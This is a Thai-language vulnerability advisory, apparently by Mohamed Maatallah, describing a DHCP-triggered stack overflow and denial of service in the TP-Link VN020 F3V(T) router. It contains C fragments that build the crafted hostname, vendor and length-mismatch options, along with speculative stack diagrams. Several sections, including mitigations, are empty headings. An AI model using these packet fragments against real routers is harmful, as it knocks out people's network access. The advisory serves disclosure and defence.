ช่องโหว่ที่สำคัญถูกค้นพบในเราเตอร์ TP-Link VN020 F3V (T) ที่ใช้งานเฟิร์มแวร์เวอร์ชัน TT_V6.2.1021 ช่องโหว่ช่วยให้ผู้โจมตีจากระยะไกลสามารถเรียกใช้บัฟเฟอร์ที่ใช้สแต็กผ่านแพ็คเก็ต DHCP Discover ที่สร้างขึ้นเป็นพิเศษซึ่งนำไปสู่เงื่อนไขการปฏิเสธการบริการ (DOS)
อุปกรณ์ที่ได้รับผลกระทบ:
หมายเหตุสำคัญ: เนื่องจากลักษณะที่เป็นกรรมสิทธิ์ของเฟิร์มแวร์จึงไม่ทราบรายละเอียดการใช้งานภายในที่แน่นอน การวิเคราะห์นี้ขึ้นอยู่กับพฤติกรรมที่สังเกตได้และการทดสอบกล่องดำ
[Basic DHCP Header]
0x00: 01 ; BOOTREQUEST
0x01: 01 ; Hardware type (Ethernet)
0x02: 06 ; Hardware address length
0x03: 00 ; Hops
0x04-0x07: XID ; Random transaction ID
0x08-0x09: 0000 ; Seconds elapsed
0x0A-0x0B: 8000 ; Flags (Broadcast)
0x0C-0x1F: 0000 ; Client/Server/Gateway IPs
0x20-0x28: MAC ; Client hardware address
0x29-0x2C: 0000 ; Padding
// Overflow trigger through hostname option
unsigned char long_hostname [ 128 ];
memset ( long_hostname , 'A' , sizeof ( long_hostname ) - 1 );
long_hostname [ 127 ] = ' ' ;
add_option ( packet , offset , 0x0C , 127 , long_hostname );
// Vendor option manipulation
unsigned char vendor_specific [] = {
0x00 , 0x14 , 0x22 , // TP-Link vendor prefix
0xFF , 0xFF , 0xFF // Trigger condition
};
add_option ( packet , offset , 0x2B , sizeof ( vendor_specific ), vendor_specific );
// Claimed vs actual length mismatch
add_option ( packet , offset , 0x3D , 0xFF , ( unsigned char []) { 0x01 });
ในขณะที่ไม่ทราบการใช้งานภายในที่แน่นอน แต่พฤติกรรมที่สังเกตได้แสดงให้เห็นถึงปัญหาการทุจริตของหน่วยความจำที่อาจเกิดขึ้น:
การประมวลผลชื่อโฮสต์ DHCP ปกติ
Stack Layout (Normal Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Return Address (4) |
+------------------------+
| Saved EBP (4) |
+------------------------+
| |
| Hostname Buffer |
| (64 bytes) |
| |
+------------------------+ Lower addresses
| Other Variables |
+------------------------+
สิ่งที่อาจเกิดขึ้นภายในเราเตอร์?
Stack Layout (Overflow Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Overwritten Return |
+------------------------+
| Overwritten EBP | <- Unknown state corruption
+------------------------+
| Overflow Data | <- 127 bytes of 'A'
| ... |
+------------------------+ Lower addresses
| Other Variables | <- Potentially corrupted
+------------------------+
นี่เป็นทฤษฎีและรายละเอียดบางอย่างอาจไม่ถูกต้องทั้งหมดเนื่องจาก TP-Link ให้เฟิร์มแวร์สำหรับเราเตอร์นี้โดยเฉพาะกับ ISP
เราเตอร์อาจพยายามรีสตาร์ทตัวเองตามที่แสดงที่นี่เนื่องจากความผิดพลาดดังที่แสดงไว้ที่นี่:
ขณะนี้ไม่มีแพตช์อย่างเป็นทางการ การบรรเทาชั่วคราวรวมถึง:
Mohamed Maatallah